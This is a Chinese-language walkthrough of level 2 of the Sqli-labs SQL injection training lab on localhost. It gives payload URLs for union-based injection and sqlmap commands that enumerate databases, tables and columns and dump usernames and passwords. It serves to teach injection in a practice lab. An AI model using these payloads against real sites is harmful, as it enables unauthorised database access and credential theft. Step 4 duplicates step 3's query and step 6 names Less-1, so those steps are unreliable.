1. 程式人生 > 實用技巧 >Sqli-labs 第2關 SQL注入 Writeup

Sqli-labs 第2關 SQL注入 Writeup

Sqli-labs 第2關 SQL注入 Writeup

關卡簡介

關卡提示:GET-Error based - Intiger based

注入位置:GET

注入型別:數字型

前期測試

union聯合查詢注入

由於有顯示資料庫內容的欄位區域,還有有報錯回顯示, 因此可用此方法

  1. 爆列

    http://127.0.0.1/Less-2/?id=1%27%20order%20by%201--+
    http://127.0.0.1/Less-2/?id=1%27%20order%20by%202--+
    http://127.0.0.1/Less-2/?id=1%27%20order%20by%203--+
    

    試過均正常顯示id=1時的頁面,當 http://127.0.0.1/Less-2/?id=-1 order by 4--+ 報錯,說明 當前資料表有3列

  2. 爆出資料庫版本 構造 payload http://127.0.0.1/Less-2/?id=-1 union select 1,2,(select version())--+

  3. 爆出資料庫資訊

    (所有) 構造 payload http://127.0.0.1/Less-2/?id=-1 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+

  4. 爆出當前庫的所有表 構造 payload http://127.0.0.1/Less-2/?id=-1 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+

  5. 爆出使用者表users的所有列名 構造 payload

    http://127.0.0.1/Less-2/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users")--+

  6. 爆出使用者表users的所有資訊 構造 payload http://127.0.0.1/Less-1/?id=-1 union select 1,2,(select group_concat(username,'~',password) from users)--+

利用sqlmap注入

傻瓜式注入

  1. 爆出所有庫 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 --dbs

  2. 爆出當前資料庫所有表 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 -D security --tables

  3. 爆出users表中所有列 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 -D security -T users --columns

  4. 爆出users表所有資訊 終端執行 sqlmap -u http://127.0.0.1/Less-2/?id=1 -D security -T users -C username,password --dump